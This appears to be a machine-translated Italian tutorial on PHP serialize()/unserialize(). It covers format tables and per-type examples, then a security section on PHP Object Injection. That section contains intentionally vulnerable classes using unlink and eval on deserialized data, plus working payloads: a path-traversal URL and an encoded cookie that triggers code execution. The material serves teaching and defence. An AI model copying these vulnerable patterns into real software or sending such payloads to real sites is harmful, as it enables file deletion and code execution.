PHP
serializzazione
Ricerca…
Sintassi
- serializza stringa (valore $ misto)
Parametri
Parametro | Dettagli |
---|---|
valore | Il valore da serializzare. serialize () gestisce tutti i tipi, tranne il tipo di risorsa . Puoi anche serializzare () array che contengono riferimenti a se stesso. Verranno memorizzati anche i riferimenti circolari all'interno dell'array / oggetto che si sta serializzando. Qualsiasi altro riferimento andrà perso. Quando serializzi gli oggetti, PHP tenterà di chiamare la funzione membro __sleep () prima della serializzazione. Questo per consentire all'oggetto di eseguire qualsiasi pulizia all'ultimo minuto, ecc. Prima di essere serializzato. Analogamente, quando l'oggetto viene ripristinato mediante unserialize () il __wakeup () funzione membro viene chiamato. I membri privati dell'oggetto hanno il nome della classe anteposto al nome del membro; i membri protetti hanno un '*' anteposto al nome del membro. Questi valori preimpostati hanno byte nulli su entrambi i lati. |
Osservazioni
La serializzazione utilizza le seguenti strutture di stringa:
[..]
sono segnaposti.
genere | Struttura |
---|---|
Stringa | s:[size of string]:[value] |
Numero intero | i:[value] |
Doppio | d:[value] |
booleano | b:[value (true = 1 and false = 0)] |
Nullo | N |
Oggetto | O:[object name size]:[object name]:[object size]:{[property name string definition]:[property value definition];(repeated for each property)} |
schieramento | a:[size of array]:{[key definition];[value definition];(repeated for each key value pair)} |
Serializzazione di diversi tipi
Genera una rappresentazione memorizzabile di un valore.
Questo è utile per archiviare o trasmettere valori PHP in giro senza perdere il loro tipo e struttura.
Per rendere nuovamente la stringa serializzata in un valore PHP, utilizzare unserialize () .
Serializzare una stringa
$string = "Hello world";
echo serialize($string);
// Output:
// s:11:"Hello world";
Serializzare un doppio
$double = 1.5;
echo serialize($double);
// Output:
// d:1.5;
Serializzare un galleggiante
Float viene serializzato come doppio.
Serializzare un intero
$integer = 65;
echo serialize($integer);
// Output:
// i:65;
Serializzare un booleano
$boolean = true;
echo serialize($boolean);
// Output:
// b:1;
$boolean = false;
echo serialize($boolean);
// Output:
// b:0;
Serializzazione null
$null = null;
echo serialize($null);
// Output:
// N;
Serializzare un array
$array = array(
25,
'String',
'Array'=> ['Multi Dimension','Array'],
'boolean'=> true,
'Object'=>$obj, // $obj from above Example
null,
3.445
);
// This will throw Fatal Error
// $array['function'] = function() { return "function"; };
echo serialize($array);
// Output:
// a:7:{i:0;i:25;i:1;s:6:"String";s:5:"Array";a:2:{i:0;s:15:"Multi Dimension";i:1;s:5:"Array";}s:7:"boolean";b:1;s:6:"Object";O:3:"abc":1:{s:1:"i";i:1;}i:2;N;i:3;d:3.4449999999999998;}
Serializzare un oggetto
Puoi anche serializzare gli oggetti.
Quando serializzi gli oggetti, PHP tenterà di chiamare la funzione membro __sleep () prima della serializzazione. Questo per consentire all'oggetto di eseguire qualsiasi pulizia all'ultimo minuto, ecc. Prima di essere serializzato. Analogamente, quando l'oggetto viene ripristinato mediante unserialize () la funzione membro __wakeup () viene chiamato.
class abc {
var $i = 1;
function foo() {
return 'hello world';
}
}
$object = new abc();
echo serialize($object);
// Output:
// O:3:"abc":1:{s:1:"i";i:1;}
Nota che le chiusure non possono essere serializzate:
$function = function () { echo 'Hello World!'; };
$function(); // prints "hello!"
$serializedResult = serialize($function); // Fatal error: Uncaught exception 'Exception' with message 'Serialization of 'Closure' is not allowed'
Problemi di sicurezza con unserialize
L'uso della funzione unserialize
per non serializzare i dati dall'input dell'utente può essere pericoloso.
Un avvertimento da php.net
Avviso Non passare l'input dell'utente non attendibile a unserialize (). La non serializzazione può comportare il caricamento e l'esecuzione del codice a causa dell'istanza e dell'autoloading dell'oggetto e un utente malintenzionato potrebbe essere in grado di sfruttarlo. Utilizzare un formato di scambio di dati standard sicuro come JSON (tramite json_decode () e json_encode ()) se è necessario passare i dati serializzati all'utente.
Possibili attacchi
- PHP Object Injection
PHP Object Injection
PHP Object Injection è una vulnerabilità a livello di applicazione che potrebbe consentire a un utente malintenzionato di eseguire diversi tipi di attacchi dannosi, ad esempio Code Injection, SQL Injection, Path Traversal e Application Denial of Service, a seconda del contesto. La vulnerabilità si verifica quando l'input fornito dall'utente non è correttamente disinfettato prima di essere passato alla funzione PHP unserialize (). Poiché PHP consente la serializzazione degli oggetti, gli autori di attacchi potrebbero passare stringhe serializzate ad hoc a una chiamata unserialize () vulnerabile, con conseguente un'iniezione di oggetti PHP arbitrari nello scope dell'applicazione.
Per sfruttare con successo una vulnerabilità di PHP Object Injection, è necessario soddisfare due condizioni:
- L'applicazione deve avere una classe che implementa un metodo magico PHP (come
__wakeup
o__destruct
) che può essere utilizzato per eseguire attacchi dannosi o per avviare una "catena POP". - Tutte le classi utilizzate durante l'attacco devono essere dichiarate quando viene chiamato il vulnerabile
unserialize()
, altrimenti l'autoloading dell'oggetto deve essere supportato per tali classi.
Esempio 1 - Path Traversal Attack
L'esempio seguente mostra una classe PHP con un metodo __destruct
sfruttabile:
class Example1
{
public $cache_file;
function __construct()
{
// some PHP code...
}
function __destruct()
{
$file = "/var/www/cache/tmp/{$this->cache_file}";
if (file_exists($file)) @unlink($file);
}
}
// some PHP code...
$user_data = unserialize($_GET['data']);
// some PHP code...
In questo esempio un utente malintenzionato potrebbe essere in grado di eliminare un file arbitrario tramite un attacco Path Traversal, ad esempio richiedendo il seguente URL:
http://testsite.com/vuln.php?data=O:8:"Example1":1:{s:10:"cache_file";s:15:"../../index.php";}
Esempio 2 - Attacco di iniezione di codice
L'esempio seguente mostra una classe PHP con un metodo __wakeup sfruttabile:
class Example2
{
private $hook;
function __construct()
{
// some PHP code...
}
function __wakeup()
{
if (isset($this->hook)) eval($this->hook);
}
}
// some PHP code...
$user_data = unserialize($_COOKIE['data']);
// some PHP code...
In questo esempio un utente malintenzionato potrebbe essere in grado di eseguire un attacco di Code Injection inviando una richiesta HTTP come questa:
GET /vuln.php HTTP/1.0
Host: testsite.com
Cookie: data=O%3A8%3A%22Example2%22%3A1%3A%7Bs%3A14%3A%22%00Example2%00hook%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D
Connection: close
Dove il parametro del cookie "dati" è stato generato dallo script seguente:
class Example2
{
private $hook = "phpinfo();";
}
print urlencode(serialize(new Example2));